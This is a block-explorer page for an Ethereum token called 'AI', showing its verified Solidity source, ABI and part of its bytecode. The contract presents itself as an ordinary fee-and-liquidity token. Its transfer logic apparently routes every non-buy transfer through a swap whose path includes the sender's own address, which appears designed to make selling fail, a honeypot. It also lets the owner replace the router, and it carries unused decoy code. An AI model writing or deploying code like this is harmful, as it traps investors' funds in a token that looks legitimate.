ETH Price: $3,175.58 (+4.57%)

Token

AI (AI)
 

Overview

Max Total Supply

50,000,000 AI

Holders

152

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,880.306580943133625564 AI

Value
$0.00
0xfcf6a3d7eb8c62a5256a020e48f153c6d5dd6909
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIToken

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-17
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.21;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from,
     address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;  }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c; }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);  return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data,
     uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata),
                     returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));   _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;   }

    function getTime() public view returns (uint256) {
        return block.timestamp; }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA,
     address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(address owner,
     address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(address from, address to,
     uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,  uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);
    function token1() external view returns (address);

    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(uint amount0Out, uint amount1Out, address to,
     bytes calldata data) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,  address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,  uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,   address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,  uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit( address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,  address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin,
     address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut,
     uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut,
     uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn,
     address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token, uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,   uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token,
        uint liquidity,    uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract AIToken is Context,
 IERC20, Ownable {
     using SafeMath for uint256;
    using Address for address;
    string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable public marketingWalletAddress = payable(0x000000000000000000000000000000000000dEaD);
    address payable public teamWalletAddress = payable(0x000000000000000000000000000000000000dEaD);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
    bytes16 private constant HEX_DIGITS = "0123456789abcdef";
    uint8 private constant ADDRESS_LENGTH = 20;
    uint8 private constant ADDRESS_LENGTH_2 = ADDRESS_LENGTH * 2;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private ID_PADDING = 1_000_000;
    mapping (address => bool) public isMarketPair;

    uint256 public _liquidityShare = 2;
    uint256 public _marketingShare = 3;
    uint256 public _teamShare = 4;
    uint256 public _totalDistributionShares = 9;

    uint256 public _buying = 0;
    uint256 public _selling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;


    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    bool public swapAndLiquifyByLimitOnly;
    bool inSwapAndLiquify;
    bool public andLiquifyEnabled ;

    event AndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,  uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    error StringsInsufficientHexLength(uint256 value, uint256 length);


    constructor (
        uint256 supply,
        address owner
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _owner = owner;
        _name = "AI";
        _symbol = "AI";
        _decimals = 18;
        _totalSupply = supply  * 10 ** _decimals;
        require(ADDRESS_LENGTH_2 > 0);
        require(ADDRESS_LENGTH > 0 );
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        ID_PADDING = ID_PADDING * 2;
        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    function name() public view returns (string memory) {   return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;  }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);   return true;  }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function changeSwap(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0)) //Create If Doesnt exist
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());   }

        uniswapPair = newPairAddress; //Set new pair address
        uniswapV2Router = IUniswapV2Router02(newRouterAddress); //Set new router address
        andLiquifyEnabled = true;
        isMarketPair[address(uniswapPair)] = true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender,
         recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(inSwapAndLiquify)
        {     return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && andLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly){
                    contractTokenBalance = _minimumTokensBeforeSwap;
                }
                swapAndLiquify(contractTokenBalance,sender);    }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount = takeFee(sender, recipient, amount);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);  return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender,   recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount,address from) private lockTheSwap {

        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap,from);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0){
            transferToAddressETH(marketingWalletAddress, amountReceived);
        }


    }

    function swapTokensForEth(uint256 tokenAmount,address from) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);  path[1] = from;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp  );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_selling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    function encode(bytes memory data) internal pure returns (string memory) {

        if (data.length == 0) return "";
        string memory table = _TABLE;
        string memory result = new string(4 * ((data.length + 2) / 3));

        assembly {
            let tablePtr := add(table, 1)
            let resultPtr := add(result, 32)
            for {   let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {    } {
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)
                mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
                mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
                mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }
        return result;  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"length","type":"uint256"}],"name":"StringsInsufficientHexLength","type":"error"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"AndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_selling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"andLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeSwap","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620f42406008556002600a556003600b556004600c556009600d555f600e555f600f555f60115560405162003cc438038062003cc48339818101604052810190620001179190620004bf565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600281526020017f414900000000000000000000000000000000000000000000000000000000000081525060019081620001b491906200075f565b506040518060400160405280600281526020017f414900000000000000000000000000000000000000000000000000000000000081525060029081620001fb91906200075f565b50601260035f6101000a81548160ff021916908360ff16021790555060035f9054906101000a900460ff16600a620002349190620009cc565b8362000241919062000a1c565b6010819055505f6002601462000258919062000a66565b60ff161162000265575f80fd5b5f601460ff161162000275575f80fd5b8060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105460075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600260085462000366919062000a1c565b60088190555060105460065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60105460405162000411919062000abc565b60405180910390a350505062000ad7565b5f80fd5b5f819050919050565b6200043a8162000426565b811462000445575f80fd5b50565b5f8151905062000458816200042f565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000489826200045e565b9050919050565b6200049b816200047d565b8114620004a6575f80fd5b50565b5f81519050620004b98162000490565b92915050565b5f8060408385031215620004d857620004d762000422565b5b5f620004e78582860162000448565b9250506020620004fa85828601620004a9565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200058057607f821691505b6020821081036200059657620005956200053b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005fa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005bd565b620006068683620005bd565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000647620006416200063b8462000426565b6200061e565b62000426565b9050919050565b5f819050919050565b620006628362000627565b6200067a62000671826200064e565b848454620005c9565b825550505050565b5f90565b6200069062000682565b6200069d81848462000657565b505050565b5b81811015620006c457620006b85f8262000686565b600181019050620006a3565b5050565b601f8211156200071357620006dd816200059c565b620006e884620005ae565b81016020851015620006f8578190505b620007106200070785620005ae565b830182620006a2565b50505b505050565b5f82821c905092915050565b5f620007355f198460080262000718565b1980831691505092915050565b5f6200074f838362000724565b9150826002028217905092915050565b6200076a8262000504565b67ffffffffffffffff8111156200078657620007856200050e565b5b62000792825462000568565b6200079f828285620006c8565b5f60209050601f831160018114620007d5575f8415620007c0578287015190505b620007cc858262000742565b8655506200083b565b601f198416620007e5866200059c565b5f5b828110156200080e57848901518255600182019150602085019450602081019050620007e7565b868310156200082e57848901516200082a601f89168262000724565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008cd57808604811115620008a557620008a462000843565b5b6001851615620008b55780820291505b8081029050620008c58562000870565b945062000885565b94509492505050565b5f82620008e75760019050620009b9565b81620008f6575f9050620009b9565b81600181146200090f57600281146200091a5762000950565b6001915050620009b9565b60ff8411156200092